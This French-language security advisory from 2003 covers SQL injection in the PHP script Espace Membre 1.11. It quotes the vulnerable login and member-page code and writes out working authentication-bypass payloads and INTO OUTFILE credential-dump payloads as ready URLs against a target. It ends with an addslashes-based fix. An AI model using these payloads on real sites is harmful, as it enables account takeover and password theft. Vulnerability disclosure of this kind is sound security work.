Espace Membre 1.11 (PHP) Injection SQL

 Date de Publication: 2003-04-09
 K-OTIK ID: 0006
 Titre:
Espace Membre 1.11 (PHP) Injection SQL
 Exploitable à distance : Oui
 Exploitable en local : Oui

 
 * Description *

Comme le montre son nom, Espace Membre est un script permettant la gestion d'un espace membres, avec une page d'inscription, une page de login et un code à mettre sur les pages réservées aux membres.


 * Détails Technique - Exploit *

Ce qui suit n'est donc possible que si magic_quotes_gpc=OFF. Deux possibilités d'injection SQL se trouvent dans se script. Elles sont très classiques. La première se trouve dans login.php3. J'ai enlevé les commentaires du code :
----------------------------------------------------------------
[...]
$requete=mysql_db_query($sql_bdd,"select pseudo,passe from membre where
pseudo=\"$pseudo_membre\" and passe=\"$passe_membre\"",$db_link) or
die(mysql_error());

if(mysql_num_rows($requete)==0)
{
header("Location:$url_erreur");
}

else
{
$taille = 20;
$lettres = "abcdefghijklmnopqrstuvwxyz0123456789";
srand(time());
for ($i=0;$i<$taille;$i++)
{
$id.=substr($lettres,(rand()%(strlen($lettres))),1);
}

$requete=mysql_db_query($sql_bdd,"update membre set id=\"$id\" where
pseudo=\"$pseudo_membre\" and passe=\"$passe_membre\"",$db_link) or
die(mysql_error());

header("Location:zonemembre.php3?id=$id");
}
[...]
-----------------------------------------------------------------
Le script vérifie donc si il y a bien dans la base de données le pseudo et le mot de passe envoyé par l'utilisateur, et si ils correspondent. Si il n'y a pas de résultat, on redirige vers une autre page. Sinon on génère un identifiant qu'on enregistre dans la base de donnée comme étant celui de l'utilisateur qui vient de se logger. Puis on redirige vers une url contenant l'id (cette page vérifiera si l'id correspond bien à un utilisateur ou pas). La requête executée est :
---------------------------------------------------------------------------------------
select pseudo,passe from membre where pseudo="$pseudo_membre" and
passe="$passe_membre"
---------------------------------------------------------------------------------------
C'est là que vient la faille classique :)
Si on donne comme valeur à $pseudo_membre et $pass_membre " OR ""=", la
requête executée deviendra :
-------------------------------------------------------------------------------
select pseudo,passe from membre where pseudo="" OR ""="" and passe=""
OR
""=""
-------------------------------------------------------------------------------
""="" comme 1=1, ISNULL(NULL), 3>2 et bien d'autres expressions retourne toujours VRAI, la requête aura donc un résultat car elle extrait tout les pseudos et passes de la table membre. On aurait pu avoir le même résultat avec beaucoup de possibilités, par exemple en utilisant les commentaires. Si on donne à $pseudo_membre la valeur :
"/*
et à $passe_membre la valeur :
*/ OR NULL IS NULL #
On aura alors une requête qui ressemblera à :
----------------------------------------------------------------------------------
select pseudo,passe from membre where pseudo=""/*" and passe="*/ OR
NULL IS
NULL#"
----------------------------------------------------------------------------------
On peut enlever tout ce qui est "commenté", c'est à dire ce qui est entre les caractères /* et */ ou derrière les caractères # ou /*, ce qui donne :
--------------------------------------------------------------
select pseudo,passe from membre where pseudo="" OR NULL IS NUL
--------------------------------------------------------------
NULL IS NULL étant aussi une expression qui renvoit toujours vrai, on a donc le même résultat. Par une url, ça donne :

http://[target]/login.php3?pseudo_membre=%22%2F%2A&passe_membre=%2A%2F%20OR%20NULL%20IS%20NULL%20%23

On peut donc se logger dans n'importe quel compte. On peut aussi utiliser INTO OUTFILE, puisqu'il y a un "select", pour enregistrer les pseudos et mot de passes dans un fichier (à condition de connaître le path complet du site dans le disque dur).

Par exemple en donnant à $pseudo_membre la valeur :
" OR 1=1 INTO OUTFILE "/path/file.txt"/*

La requête executée serait alors :
------------------------------------------------------------------------------------
select pseudo,passe from membre where pseudo="" OR 1=1 INTO OUTFILE
"/path/file.txt"
------------------------------------------------------------------------------------
Et les données pourront être trouvées sur le site http://[target]/file.txt. Dans une url, ça donne :

http://[target]/login.php3?pseudo_membre=%22%20OR%201%3D1%20INTO%20OUTFILE%20%22%2Fpath%2Ffile.txt%22%2F%2A
INTO OUTFILE ne peut être utilisé que si le serveur à le droit d'écriture.

L'autre problème vient du code à inclure dans chaque page réservée. On peut le voir en exemple dans zonemembre.php3 :
------------------------------------------------------------------------------------
<?
require("conf.php3");

$db_link = @mysql_connect($sql_serveur,$sql_user,$sql_passwd);
if(!$db_link) {echo "Connexion impossible à la base de données
<b>$sql_bdd</b> sur le serveur <b>$sql_server</b><br>Vérifiez les
paramètres
du fichier conf.php3"; exit;}

$requete=mysql_db_query($sql_bdd,"select * from membre where
id=\"$id\"",$db_link) or die(mysql_error());

if(mysql_num_rows($requete)==0)
{
header("Location:$url_erreur");
exit;
}

$pseudo_membre=mysql_result($requete,0,"pseudo");

mysql_close($db_link);
?>
-----------------------------------------------------------------------------
Inutile de tout réexpliquer, c'est la même chose.
La requête est :
-----------------------------------
select * from membre where id="$id"
-----------------------------------
On peut donc :
- Etre considéré comme loggé en donnant par exemple à $id la valeur "
OR
"aa"="aa, avec l'url
http://[target]/zonemembre.php3?id="%20OR%20"aa"="aa
- Enregistrer toutes les données dans un fichier
http://[target]/file.txt
avec une url comme :
http://[target]/zonemembre.php3?id="%20OR%201=1%20INTO%20OUTFILE%20"/path/file.txt


 * Solution *

Utiliser le patch disponible sur http://www.phpsecure.info.
Ou Ajouter au début de login.php3 :
--------------------------------------------
$pseudo_membre = addslashes($_POST["pseudo_membre"]);
$passe_membre = addslashes($_POST["passe_membre"]);
--------------------------------------------
et au début du code à inclure dans les pages réservées :
------------------------------
$id = addslashes($_GET["id"]);
------------------------------

* Crédits *

Faille découverte par frog-m@n <> et l'équipe de "PHPSecure" (Avril 2003).